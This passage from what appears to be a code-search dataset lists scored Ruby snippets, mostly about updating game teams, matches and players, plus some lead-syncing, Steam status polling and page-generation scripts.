Dir.glob(\"#{@ExpectDir}/*.expect\").each{|file|\n File.open(\"#{file}\").each{|line|\n product.printf(\"%s\",line)\n }\n }\n\n product.close\n=end\n \n end",
"title": ""
},
{
"docid": "ab461cd135b6e71334ba31f68a6c25fd",
"score": "0.4837976",
"text": "def ors_to_local\n puts(self.class.name + '.' + __method__.to_s + ' - ' + Time.now.utc.to_s)\n models_list = @ors.find_ors_to_local_lead\n models_list.each do |national_ors|\n sleep(3600) unless $podio_flag == true\n $podio_flag = true\n next unless @local_apps_ids1.has_key?(national_ors.local_aiesec)\n local_leads = @local_apps_ids1[national_ors.local_aiesec][:leads]\n abort('Wrong parameter for leads in ' + self.class.name + '.' + __method__.to_s) unless local_leads.is_a?(HostDAO)\n puts(self.class.name + '.' + __method__.to_s + ' ~ ' + national_ors.local_aiesec.to_s + ' - ' + Time.now.utc.to_s)\n\n local_leads4 = local_leads3 = local_leads2 = nil\n local_leads2 = @local_apps_ids2[national_ors.local_aiesec][:leads] if @local_apps_ids2.has_key?(national_ors.local_aiesec)\n local_leads3 = @local_apps_ids3[national_ors.local_aiesec][:leads] if @local_apps_ids3.has_key?(national_ors.local_aiesec)\n local_leads4 = @local_apps_ids4[national_ors.local_aiesec][:leads] if @local_apps_ids4.has_key?(national_ors.local_aiesec)\n\n local_lead = local_leads.new_model(national_ors.to_h)\n local_lead.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n\n if local_leads2.is_a?(HostDAO)\n local_lead2 = local_leads2.new_model(national_ors.to_h)\n local_lead2.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n end\n if local_leads3.is_a?(HostDAO)\n local_lead3 = local_leads3.new_model(national_ors.to_h)\n local_lead3.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n end\n if local_leads4.is_a?(HostDAO)\n local_lead4 = local_leads4.new_model(national_ors.to_h)\n local_lead4.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n end\n\n national_ors.sync_with_local = 2\n national_app1 = @national_apps[:leads].new_model(national_ors.to_h)\n national_app1.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n\n begin\n national_app1.id_local_gcdp_1 = national_ors.id_local_gcdp_1 = local_lead.create\n national_app1.id_local_gip_1 = national_ors.id_local_gip_1 = local_lead2.create if local_leads2.is_a?(HostDAO)\n national_app1.id_local_gcdp_2 = national_ors.id_local_gcdp_2 = local_lead3.create if local_leads3.is_a?(HostDAO)\n national_app1.id_local_gip_2 = national_ors.id_local_gip_2 = local_lead4.create if local_leads4.is_a?(HostDAO)\n\n national_ors.update\n national_app1.create\n rescue => exception\n puts exception.to_s\n end\n end\n end",
"title": ""
},
{
"docid": "9101a66ab06f5fd364fdbd06df666fc0",
"score": "0.47967866",
"text": "def update_standings(match)\n\t\thome_team, away_team = get_match_teams(match) \n\t\thome_team_goals, away_team_goals = get_match_goals(match)\n\t\tsave_match_result(home_team, home_team_goals, away_team_goals)\n\t\tsave_match_result(away_team, away_team_goals, home_team_goals)\n\tend",
"title": ""
},
{
"docid": "72ebda76733431e3a80cc05e277de8eb",
"score": "0.47822863",
"text": "def update_team\n \n end",
"title": ""
},
{
"docid": "bb3c95033faa7d7f8d49d605f5e5072f",
"score": "0.47521162",
"text": "def ors_to_local\n puts(self.class.name + '.' + __method__.to_s + ' - ' + Time.now.utc.to_s)\n models_list = @ors.find_ors_to_local_lead\n models_list.each do |national_ors|\n sleep(3600) unless $podio_flag == true\n $podio_flag = true\n next unless @local_apps_ids1.has_key?(national_ors.local_aiesec_ogcdp_ogip)\n local_leads = @local_apps_ids1[national_ors.local_aiesec_ogcdp_ogip][:app1]\n abort('Wrong parameter for leads in ' + self.class.name + '.' + __method__.to_s) unless local_leads.is_a?(GlobalCitizenDAO)\n puts(self.class.name + '.' + __method__.to_s + ' ~ ' + national_ors.local_aiesec_ogcdp_ogip.to_s + ' - ' + Time.now.utc.to_s)\n\n local_leads2 = nil\n local_leads2 = @local_apps_ids2[national_ors.local_aiesec_ogcdp_ogip][:app1] unless !@local_apps_ids2.has_key?(national_ors.local_aiesec_ogcdp_ogip)\n\n local_lead = local_leads.new_model(national_ors.to_h)\n local_lead.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n\n if local_leads2.is_a?(GlobalCitizenDAO)\n local_lead2 = local_leads2.new_model(national_ors.to_h)\n local_lead2.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n end\n\n national_ors.sync_with_local = 2\n national_app1 = @national_apps[:app1].new_model(national_ors.to_h)\n national_app1.lead_date = {'start' => Time.new.strftime('%Y-%m-%d %H:%M:%S')}\n\n begin\n national_app1.id_local_1 = national_ors.id_local_1 = local_lead.create\n national_app1.id_local_2 = national_ors.id_local_2 = local_lead2.create if local_leads2.is_a?(GlobalCitizenDAO)\n national_ors.update\n national_app1.create\n rescue => exception\n puts exception.to_s\n end\n end\n end",
"title": ""
},
{
"docid": "9ea4aaef95edd5125cad845447b2ba1c",
"score": "0.4749819",
"text": "def update_file_paths\n if self.email_changed?\n old_storage_path = File.join(SystemConfiguration.first.storage_path, 'users', self.email_was)\n \n # If the directory exists, move/rename it.\n if File.directory?(old_storage_path) \n FileUtils.mv old_storage_path, File.join(SystemConfiguration.first.storage_path, 'users', self.email)\n end\n \n self.assignment_offerings.each do |assignment_offering|\n old_assignment_path = File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n assignment_offering.assignment.url_part,\n self.email_was)\n \n # If the directory exists, move/rename it.\n if File.directory?(old_assignment_path) \n FileUtils.mv old_assignment_path, File.join(\n assignment_offering.course_offering.storage_path,\n 'assignments',\n assignment_offering.assignment.url_part,\n self.email)\n end\n end\n \n end\n end",
"title": ""
},
{
"docid": "1914c5a68cf27ab8cdc8f3bbeff1671d",
"score": "0.47403955",
"text": "def update_available_players\r\n FdPlayer.new.update_all_player_info\r\n flash[:notice] = \"Players updated.\"\r\n redirect_to commissioner_path\r\n end",
"title": ""
},
{
"docid": "f0a78143fae8696e2dde75cb3eecf947",
"score": "0.46675754",
"text": "def update\n @maps.values.each(&:update)\n @player.update\n end",
"title": ""
},
{
"docid": "14123fd0516eed8576d20226d7425e71",
"score": "0.46580783",
"text": "def update\n\n @gameparam = params[:game]\n\n updategameplayers(params[:local_subs_ids], params[:id], @gameparam[:home_team], \"Sub\")\n updategameplayers(params[:visit_subs_ids], params[:id], @gameparam[:visit_team], 'Sub')\n\n updategameplayers(params[:local_starter_ids], params[:id], @gameparam[:home_team], 'Starter')\n updategameplayers(params[:visit_starter_ids], params[:id], @gameparam[:visit_team], 'Starter') \n\n calculategeneraltable(@game.tournament_id, @game.home_team)\n calculategeneraltable(@game.tournament_id, @game.visit_team)\n\n CreateGameaction(params[:action_id])\n \n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e9966f3679a25e5aca6c6f7aec972cac",
"score": "0.46572778",
"text": "def update_score_from_games!\n return if self.games.count == 0\n score_by_steam_id = {}\n self.games.each do |g|\n # Add one point to winning team, 0 to losing team so that they show up in the keyset when we check later\n if g.radiant_win === true\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i + 1\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i\n elsif g.radiant_win === false\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i + 1\n end\n end\n\n # OK the keys are team ids, so now save them\n if score_by_steam_id[self.home_participant.id] != nil && score_by_steam_id[self.away_participant.id] != nil\n self.home_score = score_by_steam_id[self.home_participant.id]\n self.away_score = score_by_steam_id[self.away_participant.id]\n self.save!\n else\n puts score_by_steam_id.inspect\n puts self.home_participant_id.inspect\n puts self.away_participant_id.inspect\n puts \"WARNING: teams did not match, not updating match score\"\n end\n end",
"title": ""
},
{
"docid": "9157302fb66243fc990f26bf6e766ea0",
"score": "0.46454024",
"text": "def update\n @game = Game.find(params[:id])\n\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Find teams and update their names\n home_team = Team.find(@game.home_team_id)\n home_team.name = params[:home_team_name]\n away_team = Team.find(@game.away_team_id)\n away_team.name = params[:away_team_name]\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "efe9f90145e1ce4c63a3563f81e177f4",
"score": "0.46333882",
"text": "def mod_mp_used(team, v, set = false)\n gen_mod_data(team, v, :mp, set)\n end",
"title": ""
},
{
"docid": "66cb5e75334f2ce90fb820324999f8c4",
"score": "0.4629502",
"text": "def refresh_team_info(*)\n reload # SQL caching causing users to be empty when creating team making all teams ineligible\n set_team_captain\n set_slots_available\n set_eligibility\n cleanup\n end",
"title": ""
},
{
"docid": "67fe8b6603b0d6d7d3bdcd4700fd3138",
"score": "0.4627404",
"text": "def update\n # update each projectile and trap\n $BlizzABS.cache.remotes.each {|remote| remote.update}\n # update player battle input\n @controls.update\n # update summons\n update_summons\n # stop if scene is not Scene_Map\n return if !$scene.is_a?(Scene_Map)\n # update killed events\n update_killed\n # remove expired events from the map\n event_removal\n # remove expired summons from the map\n summon_removal\n # check special status effects\n check_special_states\n end",
"title": ""
},
{
"docid": "2d5f009046f4f80d595df1670f85e7d3",
"score": "0.46243322",
"text": "def upload_and_update(params)\r\n files = {'container' => 'container.swf'}\r\n locales = CONF[:locales].dup;\r\n locales.delete('en')\r\n locales.each do |l|\r\n files[l] = \"#{l}.mo\"\r\n end\r\n files.each do |k, v|\r\n data = params[k]\r\n unless data.blank?\r\n f = File.new(\"#{RAILS_ROOT}/public/games/#{v}\", 'wb')\r\n f.write(data.read)\r\n f.close\r\n end\r\n end\r\n true\r\n end",
"title": ""
},
{
"docid": "d98a4688f61b49a3db31ccd615821c50",
"score": "0.46193326",
"text": "def updateStats\n global_stat = Statistic.find_or_create_by(:question_id => self.question_id, :team_id => nil)\n\n team_stat = Statistic.find_or_create_by(:question_id => self.question_id, :team_id => self.team_id)\n\n global_stat.updateStats(self)\n team_stat.updateStats(self)\n\n global_stat.save!\n team_stat.save!\n end",
"title": ""
},
{
"docid": "88961c5e587b11bf5d81cd40b776daf1",
"score": "0.4616943",
"text": "def update_potential(king=nil)\n x = @spot.spot[0]\n y = @spot.spot[1]\n team_in_path = []\n potential = [\n [x+2,y+1],\n [x+2,y-1],\n [x-2,y+1],\n [x-2,y-1],\n [x+1,y+2],\n [x+1,y-2],\n [x-1,y+2],\n [x-1,y-2]]\n potential.each do |a|\n a.reject! { a.any? { |b| b < 1 || b > 8 } }\n end\n potential.delete([])\n potential.each do |x|\n team_in_path << x.dup if Game.whos_here(x) == self.color\n x.reject! { Game.whos_here(x) == self.color }\n end\n potential.delete([])\n @potential = potential\n @team_in_path = team_in_path\n end",
"title": ""
},
{
"docid": "6a468921d981a17dd3c76b97cc574554",
"score": "0.46163625",
"text": "def load_supported_games\n @supported_game_map = InfoAvilGames.info_supported_games(@log)\n #@supported_game_map.each{|k,v| p k}\n #p @supported_game_map\n # execute require 'mygame'\n @all_games_bots.each do |botgame|\n infogame = @supported_game_map[botgame[:key]]\n if infogame != nil and infogame[:enabled] == true\n botgame[:name] = infogame[:name]\n botgame[:opt] = infogame[:opt]\n else\n @log.warn(\"Game bot key #{botgame[:key]} not enabled in game_info\")\n end\n end\n #p @all_games_bots\n end",
"title": ""
},
{
"docid": "81e29447413be8dc8b416cc84ed7667d",
"score": "0.4608728",
"text": "def calc\n calc_world_lookup\n calc_player\n end",
"title": ""
},
{
"docid": "6afeb24deab7cdca42721fa089ac5885",
"score": "0.46077362",
"text": "def perform\n users = User.all\n\n users.each do |user|\n\n # Pull User status using Steam API\n url = \"http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=#{ENV[\"STEAM_WEB_API_KEY\"]}&steamids=#{user.steam_uid}\"\n parsed_data = JSON.parse(open(url).read)\n online_status = parsed_data[\"response\"][\"players\"][0][\"personastate\"]\n\n\n # Steam has many different status types, but anything above zero is indicative of the User having Steam open and being sign-in on at least one device\n if online_status > 0\n online_status = 1\n\n in_game_status = parsed_data[\"response\"][\"players\"][0][\"gameid\"]\n\n # If user is not in-game, in_game_status will be nil\n if in_game_status.nil?\n in_game_status = 0\n looking_to_play_status = 0\n else\n # Set Looking to play status based on game (Steamm returns app_id number when player is playing a game)\n current_game = user.owned_games.find_by(:app_id => in_game_status)\n looking_to_play_status = user.libraries.find_by(:game_id => current_game.id).default_looking_to_play_status\n end\n #If offline, player cannot be in a game and is not looking to play\n else\n in_game_status = 0\n looking_to_play_status = 0\n end\n\n # Store the user's last played game if they have played a game and this has been previously recorded in our database\n if user.in_game_status != 0 && in_game_status == 0\n user.last_played_game = user.in_game_status\n end\n\n #Update user entry\n user.online_status = online_status\n user.in_game_status = in_game_status\n user.looking_to_play_status = looking_to_play_status\n user.save\n end\n end",
"title": ""
},
{
"docid": "12028f882c777895c28a21c13e0f75e9",
"score": "0.46000865",
"text": "def update\r\n \tsuper\r\n \tcheck_visible\r\n \tif @party_size != $game_party.all_members.size\r\n \t refresh\r\n \tend\r\n i = 0\r\n while i < @party_size\r\n if $game_party.members[i].hp != @actor_hp[i] or $game_party.members[i].mp != @actor_mp[i]\r\n\t refresh\r\n\t end\r\n i += 1\r\n end\r\n end",
"title": ""
},
{
"docid": "9327cc4c7f51d9aa5f515ffd2f0558a3",
"score": "0.45981157",
"text": "def update_systems\r\n # Update system (timer) and screen\r\n $game_system.update\r\n $game_screen.update\r\n # If timer has reached 0\r\n if $game_system.timer_working and $game_system.timer == 0\r\n # Abort battle\r\n $game_temp.battle_abort = true\r\n end\r\n end",
"title": ""
},
{
"docid": "2d0d87256ef0592bd1c2b897078d18da",
"score": "0.45968506",
"text": "def set_player_team!\n player.update!(team_name: team_name) if player.team_name != team_name\n piece.update!(team_name: team_name) if piece.team_name != team_name\n end",
"title": ""
},
{
"docid": "4cf5bb80678c4cf1d35dcaa11671e1ec",
"score": "0.45959792",
"text": "def load_fantasy_stats\n load_tournament_list\n load_tournament_game_data\n create_leagues\n load_player_data\n end",
"title": ""
},
{
"docid": "deedaeadb4919ba446d12d25e13e3eb8",
"score": "0.45947605",
"text": "def update\n return if $game_temp.global_freeze && battle_phase != :skill\n update_move # Update movements (Basic Modules)\n update_smove # Update smooth movement (Basic Modules)\n update_rotation # Update rotation\n @shadow_point.update_move # Shadow reposition\n if fiber_obj\n fiber_obj.resume # Update Fiber thread\n end\n end",
"title": ""
},
{
"docid": "549b9104a70aa63106e6e8362fce0468",
"score": "0.45916867",
"text": "def update\n if(current_user.role == \"guest\")\n redirect_to login_url and return\n end\n if(!current_user.role?(:admin) && current_user.coach.organization.id != @team.organization.id)\n redirect_to home_path and return\n end\n @coaches = Coach.all\n @divisions = Division.all\n @organizations = Organization.all\n @students = Student.all\n\n # We will remove any students that are no longer on the team. To find these\n # students, we subtract OLD - NEW. We then need to use that to remove them \n # from the original array.\n @team_ps = [] #team params\n @team_ss = [] #team students\n @students_to_add = []\n @students_to_remove = []\n @team_c = nil\n @team_a = true\n\n team_params.each{|p|\n if( p[0] == \"student_teams_attributes\")\n p[1].to_a.each do |e|\n @team_ps << e[1][:student_id].to_i unless e[1][:student_id] == \"\" || @team_ps.include?(e[1][:student_id].to_i)\n end\n\n elsif( p[0] == \"team_coaches_attributes\")\n @team_c = p[1][\"0\"][:coach_id].to_i unless p[1][\"0\"][:coach_id] == \"\"\n elsif(p[0] == \"active\")\n @team_a = (p[1] == \"1\") # 1 for active, 0 for inactive\n end\n }\n\n unless @team.student_teams.nil?\n @team.student_teams.present.pluck(:student_id).each do |id|\n @team_ss << id\n end\n end\n @students_to_remove = @team_ss - @team_ps\n\n StudentTeam.all.active.where(team_id: @team.id).each do |st|\n @students_to_remove.each do |r|\n if(st.student_id == r)\n st.make_inactive\n st.end_date = Date.today\n st.save!\n end\n end\n end\n\n # To make sure we don't wind up with the same team member twice, we need to\n # add them ourselves.\n @students_to_add = @team_ps - @team_ss\n\n # respond_to do |format|\n # if @team.update(team_params)\n # format.html { redirect_to @team, \n # notice: 'Team was successfully updated.'}\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @team.errors, status: :unprocessable_entity }\n # end\n\n\n @students_to_add.each do |s|\n StudentTeam.create(student_id: s, team_id: @team.id) unless s == \"\"\n end\n\n @coach_changed = @team.team_coaches.where(end_date: nil).count == 0\n @cur_coach_id = @team_c\n TeamCoach.all.where(team_id: @team.id, end_date: nil).each do |tc|\n @cur_coach_id = tc.coach_id\n # Set the end date for the old coach & create the new one\n if(@cur_coach_id != @team_c)\n tc.end_date = Date.today\n tc.save\n @coach_changed = true\n end\n end\n if(!@team.active)\n @team.active = true\n @team.save!\n end\n if(@coach_changed)\n @team.team_coaches.create!(team_id: @team.id, coach_id: @team_c)\n end\n\n if(!@team_a)\n @team.student_teams.active.each do |st|\n st.end_date = Date.today\n st.make_inactive\n end\n end\n\n @team.active = @team_a\n @team.save!\n\n respond_to do |format| \n format.html { redirect_to @team, notice: 'Team was successfully updated.'}\n end\n end",
"title": ""
},
{
"docid": "2bf59264a2f0e2233ea2708fd8067bd4",
"score": "0.45904243",
"text": "def sync(srcDir, dstDir)\n end",
"title": ""
},
{
"docid": "e355a7c1a39f0d6dce4603906a8413d9",
"score": "0.4582208",
"text": "def update(straight = false)\n @prefix_table = {}\n @iso_code_table = {}\n @vendor_table = {}\n vendor_list(straight)\n @mem_timestamp = if config.cache.is_a?(Proc)\n proc_timestamp\n else\n file_timestamp\n end\n end",
"title": ""
},
{
"docid": "b0762776a8527494c3ae0e7bf1f65ed7",
"score": "0.45680678",
"text": "def update\n for i in 0..@matchday.matches.size-1\n match = @matchday.matches[i]\n unless match.played\n local_data = [params.fetch('local_goals_'+i.to_s), params.fetch('local_yellows_'+i.to_s), params.fetch('local_reds_'+i.to_s)]\n visit_data = [params.fetch('visit_goals_'+i.to_s), params.fetch('visit_yellows_'+i.to_s), params.fetch('visit_reds_'+i.to_s)]\n match.update_result(local_data, visit_data)\n end\n end\n\n redirect_to @matchday.tournament, notice: 'Resultados de Fecha ' + @matchday.number.to_s + ' guardados.'\n end",
"title": ""
},
{
"docid": "73ac8c06edf78476e2239b6e4e06ce2d",
"score": "0.45664856",
"text": "def updateGames(filePath = \"/JauqGames.github.io/views/games.html\")\n\n files = getFiles(\"/JauqGames.github.io/content/games\")\n files = organizeContentFiles(files)\n\n $gamesGenres = getFileLines(\"/JauqGames.github.io/content/gamesGenres.txt\")\n\n #($gamesGenres.count + 1).times do |n|\n 1.times do |n|\n\n filePath = \"/JauqGames.github.io/views/games/genres/#{$gamesGenres[n - 1].to_s.downcase}.html\" if n >= 1\n\n $f = []\n\n $f.push(\"<!doctype html>\")\n $f.push(\"<html lang=\\\"en\\\">\"); hn\n $f.push(\" <script src=\\\"../presets/otherHead.js\\\"></script>\"); hn\n $f.push(\" <body class=\\\"gamesBgDeco\\\">\"); hn\n $f.push(\" <script src=\\\"../presets/gamesJumbo.js\\\"></script>\"); hn\n $f.push(\" <script src=\\\"../presets/otherNavbar.js\\\"></script>\"); hn\n $f.push(\" <div class=\\\"afterScroll fluidBlocks\\\">\"); hn\n cm(\"Main Section\")\n $f.push(\" <div class=\\\"container\\\">\"); hn\n files.each do |contents|\n genContent($f, contents); hn\n end\n=begin\n if n == 0\n files.each do |paths|\n genMediaContent($f, paths); hn\n end\n elsif n >= 1\n files.each do |paths|\n genMediaContent($f, paths, $gamesGenres[n - 1]); hn\n end\n end\n=end\n $f.push(\" </div>\")\n cm(\"Main Section\", true); hn\n $f.push(\" <script src=\\\"../presets/otherFooter.js\\\"></script>\"); hn\n $f.push(\" </div>\"); hn\n $f.push(\" <script src=\\\"../scripts/navbarSticky.js\\\"></script>\"); hn\n $f.push(\" <script src=\\\"../scripts/footerYear.js\\\"></script>\"); hn\n $f.push(\" </body>\")\n $f.push(\"</html>\")\n\n File.new(\"#{filePath}\", \"w+\")\n File.write(\"#{filePath}\", $f.join(\"\\n\"), mode: \"a\")\n\n end\n\n=begin\n files.each do |paths|\n\n content = getFileLines(paths)\n\n temp = content.index { |x| x.start_with?(\"@\") }\n header = nil\n if temp != nil\n header = content[temp]\n header = header[1...header.length]\n content.delete_at(temp)\n end\n\n filePath = \"./views/games/#{header}.html\"\n\n $f = []\n\n $f.push(\"<!doctype html>\")\n $f.push(\"<html lang=\\\"en\\\">\"); hn\n $f.push(\" <script src=\\\"./presets/head.js\\\"></script>\"); hn\n $f.push(\" <body class=\\\"gamesBgDeco\\\">\"); hn\n $f.push(\" <script src=\\\"./presets/gamesJumbo.js\\\"></script>\"); hn\n $f.push(\" <script src=\\\"./presets/navbar.js\\\"></script>\"); hn\n $f.push(\" <div class=\\\"afterScroll fluidBlocks\\\">\"); hn\n cm(\"Main Section\")\n\n cm(\"Main Section\", true); hn\n $f.push(\" <script src=\\\"./presets/footer.js\\\"></script>\"); hn\n $f.push(\" </div>\"); hn\n $f.push(\" <script src=\\\"./scripts/navbarSticky.js\\\"></script>\"); hn\n $f.push(\" <script src=\\\"./scripts/footerYear.js\\\"></script>\"); hn\n $f.push(\" </body>\")\n $f.push(\"</html>\")\n\n File.new(\"#{filePath}\", \"w+\")\n File.write(\"#{filePath}\", $f.join(\"\\n\"), mode: \"a\")\n\n end\n=end\n\nend",
"title": ""
},
{
"docid": "dd353521241f2d6960bb12f00846dce8",
"score": "0.4543744",
"text": "def get_live_league_games\n\tcurrent_matches = []\n\tDota.live_leagues.each do |match|\n\t\tif match.raw_live_league['dire_team'] && match.raw_live_league['radiant_team']\n\t\t\tcurrent_matches.push(match)\n\n\t\tend\n\tend\n\n\t#puts 'New Matches:'\n\tcurrent_matches.sort! { |a, b| b.lobby_id <=> a.lobby_id }\n\tcurrent_matches\nend",
"title": ""
},
{
"docid": "6bb849dd77684534d8759dc890c89ef5",
"score": "0.45399746",
"text": "def setup\n\n if File.exist?(reportPath())\n FileUtils.rm(reportPath())\n end\n\n assert(File.exist?(modelPath()))\n\n if !File.exist?(runDir())\n FileUtils.mkdir_p(runDir())\n end\n assert(File.exist?(runDir()))\n\n if !File.exist?(sqlPath())\n puts \"Running EnergyPlus\"\n\n co = OpenStudio::Runmanager::ConfigOptions.new(true)\n co.findTools(false, true, false, true)\n\n vt = OpenStudio::OSVersion::VersionTranslator.new\n model = vt.loadModel(modelPath())\n assert(model.is_initialized)\n model = model.get\n\n # make sure output requests are in pre-run model, this will happen automatically in PAT\n var = OpenStudio::Model::OutputVariable.new('Site Outdoor Air Drybulb Temperature', model)\n var.setReportingFrequency('Monthly')\n\n var = OpenStudio::Model::OutputVariable.new('Zone Air Temperature', model)\n var.setReportingFrequency('Hourly')\n\n var = OpenStudio::Model::OutputVariable.new('Zone Air Relative Humidity', model)\n var.setReportingFrequency('Hourly')\n\n model.save(OpenStudio::Path.new(runDir() + '/in.osm'), true)\n\n wf = OpenStudio::Runmanager::Workflow.new(\"modeltoidf->energypluspreprocess->energyplus\")\n wf.add(co.getTools())\n job = wf.create(OpenStudio::Path.new(runDir()), OpenStudio::Path.new(runDir() + '/in.osm'), OpenStudio::Path.new(epwPath()))\n\n rm = OpenStudio::Runmanager::RunManager.new\n rm.enqueue(job, true)\n rm.waitForFinished\n end\n end",
"title": ""
},
{
"docid": "47df891c46815a22913add77e15c5d45",
"score": "0.4538427",
"text": "def update\n respond_to do |format|\n if @game.update(game_params)\n\t# start for mtm\n\t@game.genres.delete_all\n\tif params[:game][:genre_ids]\n\t params[:game][:genre_ids].each do |genre_id|\n\t unless genre_id.empty?\n\t genre = Genre.find(genre_id)\n\t @game.genres << genre\n\t end\n\t end\n\tend\n\t@game.companies.delete_all\n\tif params[:game][:company_ids]\n\t params[:game][:company_ids].each do |company_id|\n\t unless company_id.empty?\n\t company = Company.find(company_id)\n\t @game.companies << company\n\t end\n\t end\n\tend\n\t# end for mtm\n\tprocessor_id = params[:game][:processor_id]\n\tmemory_id = params[:game][:memory_id]\n\tgraphic_id = params[:game][:graphic_id]\n\tsys_req = @game.system_requirement\n\tif processor_id != 0\n\t sys_req.processor_id = processor_id\n\tend\n\tif memory_id != 0\n\t sys_req.memory_id = memory_id\n\tend\n\tif graphic_id != 0\n\t sys_req.graphic_id = graphic_id\n\tend\n\tsys_req.save\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1984cacc6128265245d3bdcb8e06c51",
"score": "0.45380455",
"text": "def loadPrograms(playerCore)\n @ip[0] = rand(@MAX_CORE) # Randomly place the programs in core\n @ip[1] = (rand(@MAX_CORE - @ip[0].size) + @ip[0] + @ip[0].size) % @MAX_CORE\n @ip.each_index do |player| # Copy each program into core\n puts(\"Player #{player} loaded at: #{@ip[player]} size:#{playerCore[player].size}\")\n ci = @ip[player]\n playerCore[player].each_index do |bi|\n @core[ci] = playerCore[player][bi]\n ci += 1\n end # @ip[player]..\n end # @ip.each_index ..\n end",
"title": ""
},
{
"docid": "ee69cd7380faf4a4bf4ca80c7d4dfe2b",
"score": "0.4536708",
"text": "def sync_local\n sync_hash = {\n ['~/Library/Application\\\\ Support/Firefox', '~/Library/Application\\\\ Support/Quicksilver',\n '~/Library/Preferences' ] =>'library/',\n ['~/.boson', '~/.sake', '~/.cronrc', '~/.gemrc', '~/.gitconfig', '~/.gem/specs']=>'dotfiles/',\n }\n sync_hash.each do |src, dest|\n src.each do |e| \n cmd = \"rsync -av #{e} #{File.join('~/backup', dest)}\"\n system cmd\n end\n end\n end",
"title": ""
},
{
"docid": "08aefe8c96d0698977c73e7d724deaba",
"score": "0.45320994",
"text": "def update\n # create observer hash if none exists\n @observer = {} if @observer == nil\n # remove all observed actors that are not in the party (to save memory)\n @observer.clone.each_key {|battler|\n @observer.delete(battler) unless $game_party.actors.include?(battler)}\n # create requesting hash if none exists\n @request = {} if @request == nil\n # get an array of all requesting characters\n characters = @request.keys\n # max of 4 calculations per frame to avoid lag\n count = 4\n # start calculation\n while characters.size > 0 && count > 0\n # get a hash key\n char = characters.shift\n # do path calculation for this character and his target\n result = find_path(char)\n # if result exists, add path to character, else add character to query\n result != nil ? char.force_move = result : characters.push(char)\n # decrease countdown\n count -= 1\n end\n end",
"title": ""
},
{
"docid": "9c7f46e91131f01231d98e3a8c4abf2c",
"score": "0.45319584",
"text": "def update_includes\n includes.reject! do |include|\n mod = include.module\n !(String === mod) && @store.modules_hash[mod.full_name].nil?\n end\n\n includes.uniq!\n end",
"title": ""
},
{
"docid": "372545a682a6824e50e8d40549c46952",
"score": "0.45289358",
"text": "def init\n\t\t## Pathfind\n\t\t#@pathfind = Pathfind.new\n\n\t\t## Add player\n\t\t@player = Player.new #spawn: @room.get_spawn\n\n\t\t## Song controller\n\t\t@song = SongController.new\n\n\t\t## Only load one level\n\t\t@level = load_level @level_name\n\n\t\t#@room = @levels[@level_name].rooms.first unless (@levels[:first].nil?)\n\t\t@room = @level.get_room @room_name\n\t\t@player.move_to_spawn @room.get_spawn\n\n\t\tputs \"Level: #{@level.name}\"\n\t\tputs \" Room: #{@room.name}\"\n\t\tputs \"INSTANCE_COUNT:\\n\\tsolid:\\t\\t#{@room.instances[:solid].size}\"\n\t\tputs \"\\tpassable:\\t#{@room.instances[:passable].size}\"\n\n\t\t## Init Pathfinder\n\t\t#@pathfind.pathfind_init\n\t\t## Add Solid blocks to pathfind grid (bootstrap it)\n\t\t#@pathfind.add_solids @room.get_instances(:solid)\n\n\t\ttracker0 = Tracker.new pos: @player.pos, track: @player\n\t\ttracker1 = Tracker.new pos: @player.pos, track: tracker0\n\t\ttracker2 = Tracker.new pos: @player.pos, track: tracker1\n\t\ttracker3 = Tracker.new pos: @player.pos, track: tracker2\n\t\ttracker4 = Tracker.new pos: @player.pos, track: tracker3\n\t\ttracker5 = Tracker.new pos: @player.pos, track: tracker4\n\n\t\t@entities = [\n\t\t\t@player,\n\t\t\tEnemy.new,\n\t\t\ttracker0, tracker1, tracker2, tracker3, tracker3, tracker4, tracker5\n\t\t]\n\n\t\t## Move camera to player\n\t\t$camera.center_on x: @player.pos(:x), y: @player.pos(:y)\n\n\t\t## Font for FPS display\n\t\t@font_fps = Gosu::Font.new 32\n\n\t\t## For consequtive updating of entities, instead of all at once\n\t\t#@update_entity_index = 0\n\tend",
"title": ""
},
{
"docid": "195ae1686521e58fd03af71a08b62c90",
"score": "0.45223668",
